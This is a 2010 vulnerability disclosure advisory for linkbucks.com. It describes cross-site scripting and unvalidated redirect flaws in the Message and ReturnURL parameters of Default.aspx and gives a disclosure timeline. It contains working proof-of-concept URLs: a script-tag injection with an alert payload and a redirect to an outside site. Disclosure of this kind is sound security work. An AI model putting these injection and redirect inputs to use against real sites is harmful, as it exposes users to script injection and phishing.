1. OVERVIEW
A famous link-based advertising network, linkbucks.com, is currently vulnerable to
Cross Site Scripting and URL Redirection vulnerabilities
2. SITE SERVICE DESCRIPTION
Linkbucks is the first Internet advertising network to recognize that the interplay
between websites and web users is the foundation of a successful viral campaign.
Linkbucks brings web users, websites, and marketers together in a way that is beneficial to everyone.
3. VULNERABILITY DESCRIPTION
The Default.aspx page at linkbucks.com is vulnerable to Cross Site Scripting vulnerability
as the Message and ReturnURL parameters are not properly sanitized after a user's logging out.
4. PROOF-OF-CONCEPT/EXPLOIT
+ Cross Site Scripting (OWASP 2010 Top 10 - A2)
http://www.linkbucks.com/Default.aspx?task=completed&MetaRefresh=2&Message="><script>alert(/XSS/)</script>&ReturnURL=/Default.aspx&NoText=true
http://yehg.net/lab/pr0js/advisories/sites/linkbucks.com/xss/linkbucks.com_xss.jpg
+ Unvalidated Redirects and Forwards (OWASP 2010 Top 10 - A10)
http://www.linkbucks.com/Default.aspx?task=completed&MetaRefresh=2&Message=You%20have%20been%20logged%20out.&ReturnURL=http://www.yehg.net&NoText=true
5. IMPACT
As the linkbucks has hundreds of web users, ad publishers and advertisers,
attackers can exploit these flaws for fun and profit.
6. VENDOR
LinkBucks.com
-http://linkbucks.com
7. CREDIT
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.
8. DISCLOSURE TIME-LINE
07-10-2010: vulnerability discovered
07-13-2010: got contact from linksbuck support team via support ticket "#KHT-97974-227"
07-15-2010: provided vulnerabilities
08-15-2010: vulnerabilities have not been fixed
08-18-2010: vulnerability disclosed
9. REFERENCES
Original Advisory URL: http://yehg.net/lab/pr0js/view.php/[linkbucks.com]_xss,redirect
OWASP Top 10 - http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
#yehg [08-18-2010]